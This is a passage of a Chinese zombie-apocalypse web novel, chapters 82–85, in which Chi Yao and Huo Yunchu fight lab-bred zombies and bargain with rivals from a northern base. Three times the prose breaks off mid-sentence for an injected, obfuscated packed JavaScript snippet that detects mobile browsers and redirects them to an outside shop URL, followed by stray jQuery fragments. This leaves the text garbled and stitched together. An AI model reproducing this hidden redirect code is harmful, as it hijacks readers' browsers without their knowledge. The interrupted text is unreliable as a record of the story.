韩厢月绝不是林北辰的对手,但只要池遥能尽快解决面前的青年,尽早过去支援,说不定也行得通。 余光望去,不远处的海城研究院大楼仍然静谧无声,不知道霍云初那边是否顺利。 转瞬之间,池遥的目光重新落在对面的青年身上。 几次爆炸之后,池遥逐渐意识到了对方操纵爆炸的规律,每一次虚空中发生爆炸的前几秒,池遥都会有一种喘不上气的艰涩感。 这个发现尽管仍旧无法避开对方制造的所有爆炸,但好歹能护住头部,不至于被对方杀死。 池遥从未觉得自己如此狼狈,如同一只流窜的松鼠一样被对方追着打,她原本就属于行动灵活反应不慢的类型,现在几乎调动全身的所有细胞,拼命在无尽的爆炸中寻求反击的机会。 虚空中陡然出现的连环爆炸无穷无尽,她只能险险躲避开头部附近的攻击,其他部位的也只能咬牙忍受。 只要能接近对方! 林北辰并不知道她吸取生机的能力,对面的青年看起来对她的防备不深,只要能够接近对方,握住他的手,就能立刻抽取他的生命力! “池小姐。”青年放下手,给予她几秒钟的喘息时间,“我并没有置你于死地的意愿,治疗系能力者非常稀有,只要你愿意跟我们回基地,一切都可以商量。” 池遥瞪了他一眼,一言不发,似乎是恼怒到了极点,用力将手中被炸得只剩半截的钢管甩了过去! “嘭!” 青年指尖微微一动,钢管在他面前炸得粉碎,然而,在池遥把钢管扔来的瞬间,他似乎还看到了一个小小的影子。 “砰!” 突然间,一声炸响从青年身后传来,这并非他用能力造成的爆炸,意料之外的情况让他顿时向前方闪去,却还是被爆炸的余威波及,向前踉跄几步。 他与池遥之间的距离陡然缩短,就在他短暂怔忪之际,一只手紧紧拉住了他。 池遥毫不犹豫地抽取他身上的生命力,动作很快,眼前的青年给她的危机感过于强烈,她不敢轻敌,只想一击致命。 但对方立刻意识到不对,池遥握得太紧,他一下无法挣脱,浑身的力量迅速流失,索性直接引爆了自己的手掌! 二人同时被爆炸的气流掀飞,池遥的手同样被炸得血肉模糊,咬着牙用刚刚抽取的生命力治愈伤口,勉强站了起来。 对面的青年面色发白,半截手臂被炸得看不出原形,他引爆的是自己的手掌,堪称伤敌八百自损一千,伤势比池遥严重得多。他用另一只手死死掐住鲜血淋漓的上臂,凌厉的双眸死死盯着她。 池遥则后撤几步,捡起刚刚和钢管一起被她投掷出去的东西。 关键时刻,是上一个世界意外获得的爆炸小黄鸭帮了她一把。 “我可以治好你的手。” 面对青年犀利的眼神,池遥后退几步,尽可能镇定地开口。 “如果得不到及时治疗的话,你这只手必定面临截肢,” 池遥不是专业大夫,看不出对方的手是什么情况,但对方也不见得比她有经验,她只能硬着头皮继续说下去。 “我可以给你治疗。” “条件。” 对方的声音都带着些微颤抖。 “现在就带着你的手下离开这里,放过我的同伴。” 池遥不认识对面的青年,但除他以外的三人是林北辰和林北辰的两名手下,四人一同行动时,林北辰会特意落后青年半步。 也就是说,眼前站在池遥对面的人,大概率是林北辰的上级。 对方一时没有回答。 池遥站在原地,将小黄鸭藏在手心,深吸一口气,在心里默数五个数。 五秒钟过后,如果对方还是不说话,池遥就要开始下一套话术了。 五,四,三,二...... 池遥抬眼打量着对面的青年,此时近距离看去,对方的身高更为高大健壮,几乎接近一米九,极具力量感,张力十足,同样包含压迫感。 尽管手臂受了伤,但他的脊背仍然直直地挺着,神色颇为阴沉。 这是一个难以对付的对手。 一! 脑海中的倒计时结束的瞬间,一个震耳欲聋的爆炸声从不远处传来! “轰!” 瞬间,池遥与身旁的青年齐齐看向一旁的海城研究院。 眼前仿佛慢镜头播放,池遥紧紧盯着研究院大楼,强化后的视力精准捕捉到了大楼倒塌的瞬间,坚固的大楼墙体如同雪崩般迅速散开,粉尘四溅。 在转瞬间变成废墟的研究院内,有几道身影以肉眼难以捕捉的速度飞扑而出! 与大楼爆炸倒塌的声势相比,池遥与对面青年的战斗就像小孩子过家家。 然而,池遥最为震惊的,还是她在内心的倒计时与大楼爆炸时间完全重合,这实在是个不可思议的巧合,如果身边有同伴在,她可以吹嘘好几天。 “快走!” 青年的吼声将池遥的意识拉扯回现实,研究院爆炸倒塌一时之间不会波及他们所在的区域,可谁也不知道废墟中闪现的几道身影是什么情况。 池遥几步追上跑在她前面的青年,感受到池遥在身后,青年伸出完好无损的那只手,一把将池遥拉到身侧,加速拉着她向前飞奔! 与此同时,在崩裂倒塌的墙体之中,一道身影飞速冲出废墟,直奔池遥等人的车子。 商务车内的幸存者们龟缩在小小的车厢内,不敢出声,霍云初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16597938|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知所踪,池遥和韩厢月也一直没有归来。 他们能听到不远处池遥与陌生青年交战的响声,也隔着车窗玻璃,亲眼看到海城研究院大楼崩塌,然而,身为跟随着霍云初的幸存者,毫无能力的普通人,他们能做的只有缩在车内,等待霍云初等人的救援。 “哐哐!” 突然出现的人影敲响了车窗,紧接着,车门被车外的人一把拉开,一个被五花大绑的白色身影被扔上了车。 站在车外的身影,正是几小时前孤身离去的霍云初! 而被他扔上车的人,幸存者们也不陌生,是Lee博士的助手关振。 “看好这个人,别让他跑了。” 霍云初的外衣全部被渗人的深红色浸透,浑身没看到伤痕,却到处都是血污,狼狈极了。 “外面很危险,你们在车上老实待着,池遥和韩厢月他们呢?” “似乎和别人打起来了。”幸存者们说。 “打起来?”霍云初从另一个方向折回,完美错过了池遥等人。 “我去找他们。” 他转过身,似乎想到什么,走到另一辆车子前,一把拉开车门。 然而,另一辆车子里空空荡荡,什么也没有。 不仅是池遥和韩厢月,连原本不会轻易下车的卢淼和心悦,甚至陈霄,所有人全部不见了。 “怎么回事?” 青年的面目迅速冷沉下去,带着锋锐的戾气,循着空气中的残留的味道,朝着最近的气味来源前进。 成为丧尸后,霍云初失去了全部味觉,尝什么都味同嚼蜡,嗅觉却敏锐了几倍,或许是身为丧尸追逐食物的本能,他能辨别出不同人类身体的气味,甚至能通过气味追踪一个人。 只是,一直以来,他都用其他能力刻意掩盖住自己超常的嗅觉,佯装自己只是一个无限接近人类的丧尸。 空气中淡淡的血腥味包裹住他,口腔中不受控制地分泌出涎液,埋藏在脖颈之下的青筋怦怦跳动,霍云初伸出一只手按压住脖子,深深吸了口气,控制住濒临失控的身体。 失控。 他循着血腥味飞奔而去,脑海中纷杂思绪混作一团,如同分不开的毛线团,裹在身上,越挣扎反而缠得越紧。 池遥等人一定想不到他会和这个词扯在一起吧。 随着变成丧尸时间的增加,他愈发难以维持自己作为人类的良知,每吸收一种新能力,跟随他二十多年的良知,道德,自我认知就会流失一小部分。 连他自己也不知道,会不会有一天,他彻底失去人性,成为一只只会撕咬人类的丧尸。 血腥味越来越浓,霍云初的脚步渐渐慢了下来。 视线尽头,是一只倒在路边,浑身是血,生死未卜的人类。 隔着不远的距离,微弱的月光照亮对方苍白的面容,恍惚之间,霍云初花了比平时多一倍的时间,认出了对面的人影身份。 是卢淼。 她死了吗? 她还活着吗? 她...... 这些问题全部被此时的霍云初屏蔽。 大脑一片空白,他的目光直勾勾落在卢淼身上。 喉结不受控制地上下滑动一下。 真糟糕。 他分明听见了自己咽口水的声音。 83. 海城研究院7 研究院对面街道的另一侧,传来不绝于耳的爆炸声。 伤痕累累的青年彻底支撑不住站立的身体,跪倒在地,半边肩膀陷在泥土中,却还挣扎着伸出完好无损的手臂,目光紧盯着对面穿着病服的丧尸,不停地制造爆炸,吸引丧尸的视线。 另一个灵活的身影从丧尸背后包抄而去,几步接近丧尸,血肉模糊的手死死按住丧尸的后背。 池遥用最快的时间抽干丧尸的生命力,终于松了口气。 她用刚刚吸收的能力治好身上的伤,才回过头,看向倒在地上的青年。 “我们合作!” 目光相触,青年咬着牙,低声道。 池遥上前几步,伸出手,一声不吭地为他治疗。 实在是太累了。 不同于能力耗尽产生的疲惫,在过去的几十分钟,池遥咬紧牙关,和青年联手击杀了几十只丧尸。 海城研究院内关着不知道多少只丧尸,大楼倒塌之后,到处都是实力媲美高等丧尸的丧尸,幸好它们似乎没有自我意识,也不存有智力,池遥才能如此迅速地杀掉它们。 和她一起的青年始终没有松口,池遥担心再多一个敌人,干脆硬下心肠,一直没有治疗青年的伤势,这也导致了在二人与丧尸们战斗之时,反而是不擅长近身战斗的池遥承担了战斗的主力,而青年手握强大能力,却沦落为池遥身边的帮手。 好不容易把身边的丧尸击杀干净,池遥只觉得自己浑身上下的肌肉仿佛紧绷了太久,骤一放松下来,身上处处酸痛不堪。 “林北辰他们在哪儿?” 等面前的青年完全恢复,池遥才开口。 “他追着我的同伴走了,我们得赶紧找到他,不然他不知道会对我朋友做出什么事。” 韩厢月可完全不是林北辰的对手啊。 眼前的青年有谈和的可能性,林北辰可是见人就杀,完全是一条不受管控的疯狗。早一点找到林北辰,韩厢月存活的可能性就会大一点。 想到这里,池遥侧过头,看向身旁的青年。 这名青年身上,有着和霍云初相似的气质。 “你叫什么名字?” “沈观宴。”青年的声音铿锵有力。 姓沈。 池遥立刻想到了霍云初曾经和她说过的话。 ——沈家是首都最大的财阀家族,这一代有两个儿子。哥哥和我同岁,是家族选定的继承人。弟弟比我小两岁,和林北辰关系很好,林北辰对他非常忠诚。 她没回答,再次上下打量一番眼前自称沈观宴的人,这一次比之前任何一次都看得认真。 与霍云初不同,霍云初看起来就是个举手投足颇有绅士风度的翩翩贵公子,沈观宴身上的气势则更加外放一些,桀骜不驯,神色中的傲然毫不掩饰,透着少年人的意气风发。 看起来,像是霍云初口中的沈家弟弟。 “走吧,去找林北辰。” 最终,池遥朝着海城研究院的方向奔去,她刚刚和沈观宴一边撤退一边杀丧尸,此时早就失去方向感了,回到海城研究院附近,才能找到其他同伴的车。 沈观宴恢复后,二人的效率大大提高,他极其擅长偷袭,趁丧尸毫无防备的时候利用爆炸杀死了不少丧尸。 不远处,似乎还有几人也在对付丧尸,池遥跟着沈观宴走过去,三下五除二杀死一头丧尸,才朝着围成一团的几人看去。 然而,被丧尸围住的却是林北辰一行人。 林北辰脸上也少有地表现出几分吃力,两名毫发无伤的部下被他护在身后。 池遥看向林北辰身后,在他身后不远处,倒着一个修长的身影,一个娇小的少女趴跪在一旁,哭得浑身颤抖,在他们前方几米处,一个单薄的人影与丧尸缠斗在一起。 他浑身的衣料被丧尸撕扯得只剩几块破布,干瘦苍白的皮肤上,肋骨的形状清晰可见,这样本就不强壮的身体上,此时满是丧尸的抓痕,他早就被感染了。 只看了一眼,池遥就不忍心再看下去,飞速冲上前,帮助陈霄杀死那只和他缠斗在一起的丧尸。 “陈霄!你怎么样?还好吗?” 眼前的场景冲击太大,池遥头脑一片空白,只握紧陈霄鲜血淋漓的手,本能输入能力为其治疗。 “我没事。”陈霄拼命摇头,挣开她的手,少年的声音从未如此尖锐,尖锐到破了音,“韩厢月!快去救他!” 池遥回过头,才看清楚,跪在地上哭泣的正是卢淼的闺蜜心悦,而倒在地上毫无声息的身影,正是韩厢月! 他的整个身体被几柄宽刀刺穿,牢牢钉在地上,胸口处被四把刀贯穿,几乎被刀捅成了筛子,这种情况,池遥想不到把他救回来的办法。 换成任何一个人类,这都是必死的伤势,但韩厢月毕竟是高级丧尸,说不定有一线生机。 池遥立刻跪坐下来,拉住韩厢月的手,将掌心之下的热流传递到他身上。 即便不知道自己的能力此时是否有用,也要先试过再说。 “他怎么了?” “他想自己一个人把那群人引走!我们怕他有危险就跟在他后面,那些坏人杀死了韩厢月哥哥!还把我们抓起来喂丧尸!”心悦哭着大喊,池遥这才注意到,心悦的双手双脚全部被麻绳绑紧,她不是畏惧丧尸不敢行动,而是不能行动。 池遥找到他们的时候,林北辰虽然在对付丧尸,但显然只保护身后的两名下属,完全没管俘虏的死活。 再看向陈霄,陈霄浑身上下都是鲜血,伤口多到看不过来,但这一次池遥发现了,陈霄双手的手腕被丧尸生生撕扯下一块肉,为了挣脱绑住双手的绳子,他主动让丧尸咬了他的手腕。 “我和陈霄本来被绑在一块,丧尸出现之后,他为了保护我被丧尸抓伤了,被感染之后,他就主动让丧尸咬开绳子,挡在我们面前和丧尸拼命。” 心悦的眼泪掉得越来越凶。 一只温热的手搭在她的脑袋上,慢吞吞地揉了揉心悦的头发,池遥的声音格外令人安心。 “你被感染了吗?” 心悦缓慢摇头。 池遥这才松了口气。 韩厢月被杀,陈霄被感染,至少心悦还算没事。 然而,这个念头刚刚划过,池遥猝然意识到,少了一个熟悉的名字。 “卢淼呢?” “她说是去找你和霍先生帮忙,一个人走了。” 说到卢淼,心悦原本缓和了些的眼泪再度决堤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602534|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 另一边,沈观宴来到林北辰面前。 “没事吧?”看到他的身影,林北辰紧绷的神情松动几分,他毫不掩饰地松了口气,“早知道就不带这两个属下了,要是没有他们拖后腿,我早就解决这些丧尸去帮你的忙了。” “这些丧尸除了没有自我意识之外,实力已经接近高等丧尸了,要是没有他们,你一个人更对付不了。”沈观宴叹口气,毫不留情地戳穿对方的谎言,“我和池遥达成合作,我们放了她的所有同伴。” 说着,沈观宴就看到林北辰回过头去,看向不远处倒在地上的几个身影。 沈观宴起初以为那和四周地上的残肢一样,是丧尸的尸体,看到尸体周围围着的池遥等人,才反应过来,是池遥同伴的尸体。 “你把她的同伴杀了?” 他压低声音,语气有些急。 “你知道我对待外人的手段,这不怪我。”林北辰抬眼看他,目光只剩下一片森冷,让沈观宴心中警钟一响。 “你放心,既然你们达成合作,我会解决这件事的,不耽误你们的合作关系。” 顿了顿,林北辰收起面对外人时漠然的视线。 沈观宴定定地看着对面的林北辰,目光复杂,半晌,他深深地叹了口气,苦恼地抱住了脑袋。 “我已经说过很多遍了,你不欠我什么,林北辰,别总是自作主张做你认为对我好的事。” 余光瞥见一个迅疾的身影,沈观宴本能地引爆周围的空气,然而,只一眨眼的工夫,就看到刚刚还距离自己极近的身影已经出现在了池遥身旁。 他们刚刚杀死的所有丧尸都身负能力,难不成还有漏网之鱼? 看刚才的速度,这恐怕是一个会闪现的丧尸! “小心!” 听到沈观宴的吼声,池遥本能地一歪身体,阴差阳错躲过身后的丧尸攻击,然而,对方的速度太快,她的视力很难捕捉到对方。 身旁还有陈霄和心悦,池遥顾及着身边的人,前进一步,把两人护在自己身后。 “噗嗤!” 锐器穿透□□的声音在极近处响起,池遥瞪大眼睛,后知后觉地对上不知何时已经潜行到她面前的丧尸,目光下移,发现丧尸的胸口不知何时被一把长刀穿透。 刀尖距离她的肩膀只剩几厘米! 隔着眼前的丧尸,明知道丧尸背后就有一个人,池遥却看不到对面人的面容。 一只苍白的手如同水鬼一般沿着丧尸的肩膀攀附上来,向后一扳,眼前丧尸的尸体就朝后倒去,露出一张充斥着疲惫,焦虑,却也无比熟悉,无比可靠的面孔。 霍云初就站在池遥对面,一只手抽出刺穿丧尸身体的刀,另一只手单手抱着昏迷不醒的卢淼,目光与池遥对上之时,露出了一个复杂的笑容。 池遥本能地感受到霍云初的心情似乎差极了,但此时还有沈观宴和林北辰在旁边,她没办法直接发问,只能伸出手,握住了霍云初的手。 想到刚才出声提醒她的人,池遥转过头,看向站在另一侧的沈观宴二人,却发现沈观宴和林北辰盯着霍云初的神色都十分复杂,有惊喜,有感慨,也有戒备。 “霍大哥。” 最后,二人齐声开口。 84. 海城研究院8 沈观宴和林北辰二人当中,沈观宴明显是那个对霍云初表露更多好感的人,面对霍云初,林北辰本能挡在了沈观宴前面,似乎对他颇为戒备。 “两位,好久不见。” 霍云初对二人的态度反而显得有些冷淡,池遥想到霍云初对北方基地的描述,他显然是对北方基地这些人有所关注的,只是沈观宴和林北辰不知道他的存在罢了。 他的目光只在沈观宴身上停留了几秒,就越过二人,看向池遥身后瑟瑟发抖的心悦陈霄两人,陈霄身上的伤势过于狰狞可怖,一眼就能看出已经被感染的事实,心悦虽然没被感染,却是几人中哭得最惨的人。 “你没受伤吧?”他先是问了心悦一句,得到回应后单手把陈霄从池遥身后提溜出来,指着陈霄身上几处严重的抓伤,对池遥吩咐道。 “这小子好歹现在还是个人类,你多少给他治疗一下吧。” 说完,霍云初将手背到身后,不知道做了什么,再次伸手捂住了陈霄的嘴,对上陈霄的视线后笑了笑。 “这附近说不定还有丧尸,别乱叫唤把丧尸引来啊。” 池遥走到陈霄身边,为陈霄治疗身上的伤痕。 陈霄感觉不到池遥的能力,他的全部注意力都集中在捂着他嘴的那只手上。 霍云初手掌上本有一道伤口,已经结痂了,他刚刚将手背在身后,面不改色地扯开愈合的伤口,掌心鲜血淋漓,按在陈霄口鼻前,血珠一滴连着一滴,落入陈霄口中。 沈观宴蹙起眉头,心下困惑极了。 沈家是首都最大的财阀家族,霍家是权贵家族,两家人从小就认识,对于霍云初,沈观宴实在过分熟悉,然而,这还是末日之后,他与霍云初的第一次见面。 他不清楚霍云初变成了什么样的人,又是因为什么理由才一直不回北方基地,却敏锐地注意到,霍云初一出现,眼前的池遥,以及她身旁的两个孩子,同时露出了松了一口气的表情。 就仿佛,霍云初一出现,所有的问题立刻就迎刃而解。 可是这怎么可能呢? 倒在地上的人是真真切切地被林北辰杀死了,那个年纪最小的孩子也是真的被丧尸感染了,这两件事是无法逆转的啊。 沈观宴还在心里纳闷,霍云初的话打断了他的思考。 “我们倒在地上的同伴是怎么回事?”霍云初紧盯着二人,收起笑意之后,他的神色有些可怖,“丧尸可不会用刀。” “是我杀的。” 沈观宴还没开口,林北辰就仿佛一直在等待这个问题般,迅速开口回应。 “人死没法复生,霍哥,节哀。” 他的语气中听不出一点愧疚,接下来,他的目光转向了一旁的池遥。 “池小姐,我杀了你们的一名同伴,我问心无愧,不认为这有什么可道歉的。但鉴于我们之间的合作关系,我也会让你们看到我的诚意。” 林北辰低垂着眼,单手放在裤腰口袋内,池遥根本猜不透他要做什么,戒备地盯着他看。 一瞬间,林北辰藏在裤腰处的手突然伸出,握着一把黢黑的东西,对准了他的一名部下。 没有一丝犹豫,轻微的噗嗤声过后,曾经为池遥开过车门的司机脑门上多了一个血洞,软绵绵地倒在地上,没了气息。 全程,林北辰一直垂着眼,一眼都没看过他瑟瑟发抖的另一名部下。 小巧的手木仓在他指尖灵活地旋转一周,又被他揣回腰间,一套动作行云流水,只发生在瞬息之间,没有给其他人留出任何反应时间。 “我杀了你们的一个人,用我们的一条人命来赔罪,这诚意如何啊?” 一片死寂。 池遥彻底丧失表情管理,惊愕地张大了嘴,抱紧了吓得钻进她怀里的心悦,直愣愣地盯着倒在地上的尸体。 那不是他的手下吗? 场面过于震撼,一时间,无人说话。 就连和林北辰同一阵营的沈观宴都忍不住移开了目光。 “一命抵一命还不够吗?”林北辰的目光扫过站在对面的池遥与霍云初,低头笑笑,再次扣动了扳机。 又一声细微的枪响打破了众人之间的沉默,林北辰的副官蹲在原地,双手抱头,瑟瑟发抖。 林北辰的子弹擦着他的耳廓飞了过去,细微的偏差救了他一命。 “已经够了。”霍云初和沈观宴同时开口。 霍云初此时已经收回了捂在陈霄嘴边的手,趁所有人的注意力都落在林北辰身上时,把陷入昏迷的孩子推到池遥怀里,池遥紧紧搂着陈霄,小心地观察着周围的情况。 “那就好。”林北辰面无表情地收起枪,看都不看死去的手下,只朝着霍云初点点头,目光扫过池遥和被她抱在怀里的陈霄。 “那孩子被感染了吧?你这样抱着他,不怕他醒来后咬你一口?” “他也不想被感染的。”池遥摸了摸陈霄的头发,她不能暴露霍云初的丧尸身份,只能硬着头皮装圣母,“毕竟是我们的人,不能把他留在这里。” 说着,她的目光看向倒在地上,生死未卜的韩厢月。 她相信高等丧尸的生命力,更何况霍云初的神色也十分平静,韩厢月说不定还有救。 “就算是尸体,我们也是要收敛回去的。” 听到这里,林北辰嗤笑一声,露出明显不屑的表情。 而沈观宴的目光则隐晦地打量起地上的韩厢月。 面色苍白,羸弱,浑身是血的青年静静地躺在地上,胸口早已没有起伏,如同摔成碎末的玉石。 这位死者的气质很熟悉,让他想到了一个观感复杂的熟人。 接下来,他又看向被霍云初抱在怀里的女孩,同样生死未卜,身上的伤口一看就知道,她也被感染了。 被池遥抱在怀里的孩子也一样,明显已经被感染,却还被她抱在怀里。 这群人不担心自己被感染吗? “我刚刚从研究院里回来。这群人在研究所里培育高等丧尸。”霍云初侧过头,看向已经倒塌的研究所大楼,探究的目光扫向一旁的沈观宴,“研究所爆炸,是你们搞的鬼?” “海城研究院是聚集地的秘密产业。聚集地分出了一部分研究员,藏匿在海城研究院里做丧尸实验。”沈观宴叹了口气,解释道,“我们收到隐山藏匿道具的情报,但林北辰搜遍了整个隐山,也没有找到道具。他带人闯入隐山的时候,聚集地的人撤离了隐山的研究人员,我们怀疑道具在研究人员手里,一路追踪到了这里。” “聚集地毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607695|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个大规模的基地,我们不可能堂而皇之地进攻那里,只能趁研究员们还没回到聚集地的时候尽可能追踪。” 说到这里,沈观宴抿了抿唇。 “我们也没想到研究所会爆炸,我们只是伪装成和他们交接的北方基地高层,提前约好了登门拜访和投资明细,去研究院里巡查了一圈。有些地方有监控,为了不被暴露,我们就顺便切断了研究所里的电路。” 被切断电路后,原本被关在实验室,被当做实验品的丧尸们彻底失去了禁锢,引发的连锁反应引爆了研究院。 想明白这个问题后,池遥看向沈观宴和林北辰二人。 看他们的样子,似乎还是没追踪到要找的道具。 道具究竟会在谁手里? 若是如沈观宴所说,从隐山撤离的研究员们都在海城研究院,隐山的普通人们不可能拥有道具,可隐山的所有能力者应该都被林北辰消灭掉了才对。 等等。 思绪一顿。 脑海中浮现出了一个人影。 初次来到隐山时,Lee博士身旁还站着一个年轻女人,那时,池遥并没有太在意这个人,只记得她似乎叫阿霓。 可是,除了第一天来到隐山之外,池遥再也没有见过那名女性。 如果没记错,当时与林北辰对阵的能力者当中,也不存在阿霓的身影。 只不过,追踪道具的人是林北辰,池遥对于隐山的道具没兴趣,也不打算蹚入这浑水中。 即便想到了有可能持有道具的人,她也不会告诉林北辰这个情报,林北辰那个疯子,池遥不想与他有任何交集。 “我们该走了吧?” 想到这里,她看向一旁的霍云初。 “的确。” 与池遥对上视线,霍云初冲她勾起嘴角,点了点头,池遥立刻明白,霍云初已经销毁了她的资料,他们来此处的目的已经完成了。 “等等。”沈观宴开口阻拦,“我们的车停在研究院背侧,应该已经被爆炸波及了,你们介意载我们一程吗?” 池遥没说话,看向霍云初。 霍云初不能在旧友面前暴露丧尸身份,但此时算上昏迷不醒的陈霄,他们车上已经有三只丧尸了,这个时间点捎上沈观宴三人,不是件好事。 “你们要去哪个方向?”见池遥和霍云初都没回答,沈观宴问。 “我们朝北走,去云城。”霍云初思索片刻,回答道。 池遥不知道云城是什么地方,没开口,安静地听他们对话。 “那我们不顺路,如果不介意的话,可以稍微捎我们一程吗?只要远离研究院,脱离危险后把我们放下去就好。”沈观宴放缓了语气。 “我们似乎还是合作关系。”一旁的林北辰阴恻恻开口,仿佛在威胁。 “可以。”霍云初很快答应了他们的请求,“我去把车开过来,心悦跟我走,池遥,你在原地等我一会儿,仔细看着他。”他指尖点点池遥怀里的陈霄,池遥顿时会意,点了点头。 霍云初抱着卢淼过来后,心悦很快就止住了哭泣,目光一直追随着霍云初怀里的卢淼,他一发话,立刻就走到了霍云初身后。 很快,霍云初就带着心悦离开,此处只剩下了池遥与沈观宴三人。 85. 白眉湖庄园1 池遥是后知后觉发现此时此地,意识清醒的人只剩下了她和沈观宴三人的。 因为霍云初离开没一会儿,林北辰就冷声开了口。 “池小姐,治疗系能力者无论走到哪里都是受欢迎的,如果你愿意,可以随时来北方基地,你会得到很好的待遇,我们都会欢迎你。” 他的神色仍旧阴沉难测,看起来不像是招揽,而是在威逼利诱。 明明这话之前沈观宴也说过,但此时在他身边的沈观宴却露出明显不赞同的神色。 “非常感谢,但我已经决定一直跟随霍云初了。”池遥婉言谢绝。 “如果是这样的话,你更应该加入北方基地了。”林北辰冷笑一声,“霍哥的家族都是北方基地的掌权家族之一,他迟早也是要回家的。” 池遥没接话。 霍云初的身份,已经无法回到人类基地了。 很快,霍云初驾车停在他们面前,他走下车,将昏迷的陈霄塞进后备箱,扛起韩厢月丢进最后排,昏迷不醒的卢淼被他放在了倒数第二排,隔着过道坐着神色紧张的心悦。卢淼和韩厢月占据了车内大半个空间,池遥一如既往坐在副驾驶位置上,驾驶座后排则是沈观宴和林北辰二人,林北辰的副官瑟瑟发抖地蜷在车门旁的折叠座椅上,明显还处于惊吓中没回过神。 车子拐了个弯,先回到另一辆车可见的范围内,引领着同伴们的车子开出海城,全速前进,不到一个小时,就开出了海城的市区。 “这里差不多了吧?” 很快,车子停在了一片空地上,附近看不到丧尸的身影,霍云初不等沈观宴回答,就先一步打开了车门,态度强硬极了。 “感谢。”沈观宴愣了片刻,神色有些僵硬,再开口时语气客气了不少。 林北辰和他的手下相继下了车,沈观宴却还在车门前犹豫不决。 “霍哥。” 他的声音有些轻。 霍云初扭过头,对上他闪烁不定的眼神。 “老爷子很想你,以后要是有机会,记得回北方基地看看他,那里永远是你的家。” 说完这句话,沈观宴没有任何停顿,转身下了车。 霍云初面不改色地再次发动车子,从站在车外的沈观宴三人面前飞驰而过。 很快,他们的身影就从后视镜中消失,再也看不到了。 沿着空无一人,只剩下大量车辆遗骸的高速公路行驶了将近半个小时,车子靠边停了下来,等跟随他的另一辆车也停下后,霍云初才松开紧握方向盘的手,仰头靠在椅背上,长出一口气。 “可以起来了。” 声音刚落,韩厢月就从后座直起身来,他看起来分外疲惫,半垂着眼眸,稍微一动,就有血流从他身前的刀口处流下来。 “你还好吗?” 池遥第一时间翻到后排,赶到他面前,握住他的手。 “等一下。” 韩厢月的声音喑哑,十分虚弱,但属于高等丧尸的强大生命力却让他从林北辰手下奇迹般地存活下来。 青年咬紧牙关,握紧仍旧贯穿在他体内的刀子,一把接一把拔出来,最后一把刀拔出后,他浑身的衣物再次被鲜血浸透。 池遥立刻握住他的手,治愈他身上大部分伤口,又从空间内找出一套干净的衣服递给他。 “谢谢。” 韩厢月将衣物放在干净的座椅上,一时没动,深吸了一口气。 “你都听到了多少?”霍云初问道。 “那个叫林北辰的警惕性很强,心理活动不多,全是废话,听不到什么有用的信息。” 韩厢月的喉结轻微滑动一下,他的喉结不明显,平时几乎看不到,只有吞咽时稍微明显一点,再开口时,声音仍旧有些嘶哑。 “他的副官刚刚被吓坏了,大脑一片空白,也没什么信息。” “沈观宴虽然是北方基地的高层,但似乎对北方基地没什么归属感。他以监察协助林北辰的巡查队为理由,经常离开北方基地,实际上很少和林北辰共同行动,他似乎在北方基地之外还有另一个小型基地。” 韩厢月是真的被林北辰折磨得奄奄一息,陷入了昏迷,在霍云初出现后,他才渐渐恢复了意识,还没睁眼,就听到了霍云初的心理活动。 霍云初也不知道他是否能听到,只能在心中反复重复,让他不要轻举妄动,原地装死,找机会探听沈观宴等人的心理活动。 车子行驶期间,霍云初倒在后座,一动不动,大脑却分外活跃,同时探听全车人的心理活动,还要筛选有用信息记在心里。 “还有,第二次变异潮过后,北方基地变成了几个家族联合掌权,最主要的家族有四家,霍家,沈家,林家,还有......”说到这里,韩厢月的声音卡带般停顿一下,再次开口时,音量骤降,“韩家。” “韩家?”霍云初有些意外,“这是哪个家族?” “韩家在首都旁边的地级市,对外不出名,但在当地黑白通吃,是当地最有话语权的家族,第二次变异潮之后,北方基地吞并了韩家建立的小型基地,韩家也成了北方基地的掌权家族之一。” 韩厢月低着头,浑身是血,根本看不清他的神色。 “原来如此。”霍云初没注意到韩厢月的异样,他翻越到后座,来到昏迷不醒的卢淼面前,翻开她的眼皮,检查了一番。 “我在海城研究院里销毁了所有和你有关的资料,准备离开的时候,发现关押高等丧尸实验品的实验室停电,这些丧尸都跑了出来,在研究院内四处袭击研究员,我就趁乱劫走了他们领头的研究员,打晕扔在后面的车里了。” 霍云初向池遥讲起了分开后的经历。 “我回到车里的时候,发现咱们的车全空了,就出去找你们,第一个找到的就是她。” 霍云初指了指卢淼。 他省略了很多无关紧要的内容,比如他如何失控,忍不住想要吞掉面前的人类,比如他来到卢淼面前时仍然压制不住本能,如果没有看到卢淼身上属于其他丧尸的抓痕,他恐怕真的会扑上去享用美餐。 